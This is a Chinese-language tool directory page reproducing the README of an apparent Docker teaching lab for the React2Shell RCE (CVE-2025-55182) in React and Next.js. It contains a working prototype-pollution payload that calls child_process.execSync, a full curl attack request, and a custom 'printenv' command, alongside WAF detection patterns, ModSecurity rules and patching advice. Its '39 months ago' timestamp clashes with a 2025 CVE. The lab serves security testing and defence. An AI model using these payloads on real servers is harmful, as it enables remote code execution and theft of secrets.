Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2025-55182-test-lab-windows — 基于 Docker 的测试实验室,用于 React 19.1.0/Next.js 15.1.0 中的 CVE-2025-55182 (React2Shell) RCE 漏洞。包含漏洞利用脚本、使用 NGINX/ModSecurity 的 WAF 绕过测试,以及打补丁版本对比,用于安全教学。 | Kitploit
工具/GitHubGitHub/fankh/cve-2025-55182-test-lab-windows
漏洞分析漏洞利用Web应用程序漏洞利用WAF绕过CTF渗透测试学习与教育Payload 开发实验室与实践

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
GitHubfankh/cve-2025-55182-test-lab-windows

cve-2025-55182-test-lab-windows

基于 Docker 的测试实验室,用于 React 19.1.0/Next.js 15.1.0 中的 CVE-2025-55182 (React2Shell) RCE 漏洞。包含漏洞利用脚本、使用 NGINX/ModSecurity 的 WAF 绕过测试,以及打补丁版本对比,用于安全教学。

查看仓库
39个月前尚未审核
分享

CVE-2025-55182 (React2Shell) 测试

⚠️ 警告: 包含实际可用的远程代码执行(RCE)漏洞。

📋 目录

  • 概述
  • 漏洞信息
  • 快速开始
  • 实际攻击演示
  • 测试环境
  • WAF防御规则
  • 文件结构
  • 参考资料
  • 法律声明

概述

CVE-2025-55182 (React2Shell) 漏洞测试的容器测试环境。

主要特点

  • ✅ 真实漏洞复现 - React 19.1.0 / Next.js 15.1.0 环境
  • ✅ RCE攻击成功 - 已确认实际命令执行
  • ✅ WAF防御测试 - NGINX及Apache ModSecurity规则配置
  • ✅ 补丁版本对比 - 有漏洞版本 vs 已修补版本测试
  • ✅ 完整Docker环境 - 隔离的容器环境

攻击结果

root@kitploit:~
🔴 CRITICAL VULNERABILITY CONFIRMED!
   Successfully executed 6/7 commands

Executed Commands:
  ✅ whoami: root
  ✅ hostname: c89f1bd355b2
  ✅ pwd: /app
  ✅ id: uid=0(root) gid=0(root) groups=0(root)...
  ✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
  ✅ node-ver: v20.19.6

漏洞信息

CVE-2025-55182 (React2Shell)

CVSS评分: 10.0 (CRITICAL)
影响: 远程代码执行 (RCE)
身份认证要求: 无
攻击向量: 网络

受影响版本

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: < 15.0.5, < 15.1.9, < 15.2.6, < 15.3.6, < 15.4.8, < 15.5.7, < 16.0.7

已修补版本

  • React: 19.1.2+
  • Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

攻击原理

  1. 原型污染 (Prototype Pollution) - 通过 $1:__proto__:then 实现原型污染
  2. Function Constructor 访问 - 通过 Blob 反序列化($B 前缀)访问
  3. 任意代码执行 - 使用攻击者控制的代码创建函数
  4. 系统命令执行 - 通过 child_process 实现 RCE
root@kitploit:~
// 攻击载荷结构
{
  "then": "$1:__proto__:then",           // 污染 Object.prototype.then
  "status": "resolved_model",
  "reason": -1,
  "value": '{"then": "$B0"}',            // 触发 Blob 反序列化
  "_response": {
    "_prefix": "恶意代码",               // 要执行的代码
    "_formData": {
      "get": "$1:constructor:constructor"  // 访问 Function constructor
    }
  }
}

快速开始

前置要求

  • Docker Desktop
  • Node.js 20+ (本地测试用,可选)
  • 至少 4GB 内存
  • 2GB 以上空闲磁盘空间

第一步:启动环境

Windows (PowerShell):

root@kitploit:~
PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start

第二步:检查状态

root@kitploit:~
.\run-tests.ps1 status

需要等待所有容器达到 healthy 状态(大约需要 1-2 分钟)。

第三步:执行攻击

Windows (PowerShell):

root@kitploit:~
# 方法1:使用 PowerShell 脚本 (推荐)
.\tests\exploit-working.ps1

# 方法2:直接运行 Node.js
node tests\exploit-working.js

### 第四步:查看结果

可以在服务器日志中查看命令执行结果:

```bash
docker compose logs vulnerable-app --tail=20

攻击演示

自动化攻击脚本

exploit-working.js ⭐ 推荐

Windows:

root@kitploit:~
# PowerShell 脚本 (推荐)
.\tests\exploit-working.ps1

# 或直接运行 Node.js
node tests\exploit-working.js

执行内容:

  • ✅ 执行任意 shell 命令
  • ✅ 在服务器日志中捕获命令输出
  • ✅ 自动测试多条命令
  • ✅ 提供详细的漏洞报告

测试的命令:

  • whoami - 当前用户 (root)
  • hostname - 容器主机名
  • pwd - 工作目录 (/app)
  • id - 完整用户信息
  • uname -a - 系统信息
  • node --version - Node.js 版本

手动攻击

使用 curl 进行直接攻击

root@kitploit:~
# 创建载荷文件
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundary123--
EOF

# 发送攻击
curl -X POST http://localhost:3000/ \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
  -H "Next-Action: exploit" \
  --data-binary @payload.txt

# 确认日志执行
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"

自定义命令执行

可以修改攻击脚本以执行自定义命令:

root@kitploit:~
// 在 exploit-working.js 文件中:
const tests = [
  { name: 'custom', cmd: 'ls -la /app', desc: '应用目录列表' },
  { name: 'env', cmd: 'printenv', desc: '环境变量输出' }
]

测试环境

Docker 容器

端口服务React 版本用途WAF 状态
3000vulnerable-app19.1.0有漏洞 - CVE-2025-55182 测试❌ 无保护
3001patched-app19.1.2安全 - 验证补丁效果✅ 已修补
8080nginx → vulnerable19.1.0WAF 测试 (NGINX)⚠️ 有限 (未检查 body)
8081apache → vulnerable19.1.0WAF 测试 (ModSecurity)⚠️ 有限 (405 响应)
8082nginx → patched19.1.2双重保护测试✅ 已修补

应用环境

  • 框架: Next.js 15.1.0 (App Router)
  • React 版本: 19.1.0 (有漏洞)
  • Node.js: 20.19.6

测试场景

场景 1:攻击有漏洞版本

root@kitploit:~
# 执行有效攻击
node tests/exploit-working.js

# 预期结果:命令执行成功
# 输出:用户信息、系统详细信息等

场景 2:测试已修补版本

Windows (PowerShell):

root@kitploit:~
# 使用 PowerShell 脚本
.\tests\exploit-working.ps1 -Port 3001

预期结果: 攻击失败 (React 19.1.2 阻止了攻击)

场景 3:测试 WAF 拦截

Windows (PowerShell):

root@kitploit:~
# 通过 NGINX WAF 尝试攻击
.\tests\exploit-working.ps1 -Port 8080

预期结果: 被 WAF 规则拦截


WAF 防御规则

NGINX 防御规则

位置: nginx/nginx.conf

检测模式:

  1. 原型污染 (Prototype Pollution) - __proto__, constructor:constructor
  2. Flight 协议滥用 - $X:__proto__, $B 引用
  3. Gadget Chain - child_process, execSync, require()
  4. URL 编码绕过 - %5f%5fproto%5f%5f
  5. 可疑头部 - Next-Action: #constructor

拦截动作:

root@kitploit:~
HTTP 403 Forbidden
{
  "error": "Request blocked by WAF",
  "protection": "CVE-2025-55182",
  "waf": "NGINX"
}

Apache ModSecurity 规则

位置: apache/modsecurity-rules.conf

规则 ID 范围: 100001-100017

主要规则:

  • 100001: 检测 __proto__
  • 100002: Constructor chain 访问
  • 100003-100004: Flight 协议滥用
  • 100006-100007: Gadget chain 模式
  • 100008-100011: RCE 尝试 (child_process, exec, spawn, require)
  • 100015: 可疑的 Next-Action 头部
  • 100017: 基于异常分数拦截

WAF 测试

root@kitploit:~
# NGINX 拦截测试
curl -X POST http://localhost:8080/ \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": true}}'

# 预期响应: HTTP 403

# ModSecurity 拦截测试
curl -X POST http://localhost:8081/ \
  -H "Next-Action: test#constructor" \
  -d '{"data": "test"}'

# 预期响应: HTTP 403

WAF 日志查看

root@kitploit:~
# NGINX 安全日志
docker compose exec nginx tail -f /var/log/nginx/security.log

# Apache ModSecurity 审计日志
docker compose exec apache tail -f /var/log/apache2/modsec_audit.log

⚠️ WAF 限制

重要: 当前 WAF 配置存在以下限制:

NGINX (端口 8080)

  • ❌ 不检查 Request body
  • NGINX 默认只检查 URL、查询参数和头部
  • Exploit 载荷包含在 multipart/form-data body 中,因此无法检测
  • 解决方案: 需要 lua-nginx-module 或单独的 WAF 解决方案

Apache ModSecurity (端口 8081)

  • ⚠️ Next.js 拒绝 POST 请求 (405 Method Not Allowed)
  • ModSecurity 已启用且可以检查 body
  • 但是需要 Next-Action 头部,仅靠此头部不足以提供充分保护
  • 当前状态: WAF 在检查 body 之前返回 405 响应

实际攻击防御:

  • ✅ 最有效的方法: 将 React/Next.js 升级到已修补版本 (端口 3001, 8082)
  • ⚠️ WAF 仅提供部分保护: 对于需要检查 body 的攻击效果有限

文件结构

root@kitploit:~
cve-2025-55182-test-lab-windows/
├── README.md                           # README
├── docker-compose.yml                  # Docker 环境配置
├── run-tests.ps1                       # Windows 执行脚本
├── run-tests.sh                        # Linux/Mac 执行脚本
│
├── vulnerable-app/                     # 有漏洞版本应用
│   ├── Dockerfile
│   ├── package.json                    # React 19.1.0, Next.js 15.1.0
│   ├── next.config.js
│   ├── app/
│   │   ├── layout.js                   # 基本布局
│   │   ├── page.js                     # 主页面
│   │   └── api/
│   │       └── health/                 # 健康检查端点
│   │           └── route.js
│   └── tests/                          
│
├── patched-app/                        # 已修补漏洞版本应用
│   ├── Dockerfile
│   ├── package.json                    # React 19.1.2, Next.js 15.1.9
│   ├── next.config.js
│   └── app/
│       ├── layout.js
│       ├── page.js
│       └── api/
│           └── health/
│               └── route.js
│
├── tests/                              # 攻击脚本
│   ├── exploit-working.js              # RCE 攻击 (Node.js)
│   ├── exploit-working.ps1             # RCE 攻击 (PowerShell)
│   └── exploit-working.cmd             # RCE 攻击 (批处理文件)
│
├── nginx/                              # NGINX WAF 配置
│   ├── nginx.conf                      # CVE-2025-55182 拦截规则
│   └── nginx-patched.conf              # 代理配置
│
└── apache/                             # Apache ModSecurity 配置
    ├── Dockerfile
    ├── apache-config.conf
    └── modsecurity-rules.conf          # ModSecurity 拦截规则

攻击确认方法

方法1:查看脚本输出

攻击脚本直接显示结果:

root@kitploit:~
[whoami] Sending exploit...
  ✅ SUCCESS! Output: root

方法2:监控服务器日志

root@kitploit:~
# 实时日志监控
docker compose logs -f vulnerable-app

# 需要确认的内容:
# [EXPLOIT] Executing: whoami
# [RESULT] root

方法3:检查攻击指标

root@kitploit:~
# 确认攻击是否已执行
docker compose exec vulnerable-app ps aux | grep node

# 确认文件系统更改 (如果写入了文件)
docker compose exec vulnerable-app ls -la /tmp

修复措施

npm 修补

  1. 升级 React - 安装 19.1.2 或更高版本:

    root@kitploit:~
    npm install react@^19.1.2 react-dom@^19.1.2
    
  2. 升级 Next.js - 安装 15.1.9 或更高版本:

    root@kitploit:~
    npm install next@^15.1.9
    
  3. 重新构建并部署:

    root@kitploit:~
    npm run build
    # 部署到生产环境
    

修补后验证

Windows (PowerShell):

root@kitploit:~
# 使用已修补版本测试
.\tests\exploit-working.ps1 -Port 3001

# 或
$env:TARGET_PORT=3001; node tests\exploit-working.js

Linux/Mac:

root@kitploit:~
# 使用已修补版本测试
TARGET_PORT=3001 node tests/exploit-working.js

示例结果: ℹ️ Exploitation failed

无法修补时的安全措施

  1. 部署 WAF 规则 - 使用本项目的 NGINX/ModSecurity 规则
  2. 网络分段 - 限制外部访问
  3. 限速 (Rate Limiting) - 对 Server Action 端点应用限制
  4. 日志监控 - 监视攻击尝试日志

Docker 命令

环境管理

root@kitploit:~
# 启动
.\run-tests.ps1 start

# 检查状态
.\run-tests.ps1 status

# 查看日志
.\run-tests.ps1 logs

# 停止
.\run-tests.ps1 stop

# 初始化 (删除所有容器和卷)
.\run-tests.ps1 clean

问题排查

攻击不工作

Windows (PowerShell):

root@kitploit:~
# 1. 检查版本
docker compose exec vulnerable-app npm list react next

# 预期显示:
# [email protected]
# [email protected]

# 2. 确认服务器是否响应
curl http://localhost:3000

# 3. 查看 Docker 日志
docker compose logs vulnerable-app --tail=50

# 4. 重启容器
docker compose restart vulnerable-app

无法查看输出值

Windows (PowerShell):

root@kitploit:~
# 在 PowerShell 中过滤日志
docker compose logs vulnerable-app --tail=20 | Select-String "EXPLOIT|RESULT"

Docker Desktop 未运行 (仅限 Windows)

错误症状:

root@kitploit:~
error during connect: Get "http://%2F%2F.%2Fpipe%2FdockerDesktopLinuxEngine...

解决方法:

  1. 启动 Docker Desktop
  2. 确认托盘图标为绿色
  3. 使用 docker ps 命令验证

PowerShell 脚本无法执行 (仅限 Windows)

错误症状:

root@kitploit:~
无法加载文件...因为在此系统上禁止运行脚本...

解决方法:

root@kitploit:~
# 仅应用于当前会话
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# 或直接运行
PowerShell -ExecutionPolicy Bypass -File .\tests\exploit-working.ps1

权限错误

确认 Docker 正在运行且具有权限:

所有平台:

root@kitploit:~
docker compose ps

端口冲突

如果其他应用程序正在使用端口:

Windows (PowerShell):

root@kitploit:~
# 查看端口占用进程
netstat -ano | findstr :3000

# 终止进程 (确认 PID 后)
taskkill /PID <PID> /F

所有平台 (修改 docker-compose.yml):

root@kitploit:~
# 更改端口以避免冲突
services:
  vulnerable-app:
    ports:
      - "3010:3000"  # 将 3000 改为 3010

WAF 不工作

所有平台:

root@kitploit:~
# 测试 NGINX 配置
docker compose exec nginx nginx -t

# 测试 Apache 配置
docker compose exec apache apachectl configtest

# 查看日志
docker compose logs nginx --tail=30
docker compose logs apache --tail=30

参考资料

官方安全公告

  • React 安全公告
  • Vercel CVE-2025-55182 摘要
  • Next.js CVE-2025-66478 公告
  • NVD - CVE-2025-55182

技术分析

  • Datadog Security Labs - CVE-2025-55182
  • Wiz Blog - React 的关键 RCE
  • Palo Alto Unit42 分析
  • Kaspersky 博客
  • OX Security 博客

Proof of Concepts

  • msanft/CVE-2025-55182
  • dwisiswant0/CVE-2025-55182
  • EynaExp/CVE-2025-55182-POC
  • Spritualkb/CVE-2025-55182-exp
  • ejpir/CVE-2025-55182-research

许可证

本项目仅供教育和安全研究用途。

使用限制:

  • 仅用于授权的安全测试目的
  • 禁止修改用于恶意目的

下载工具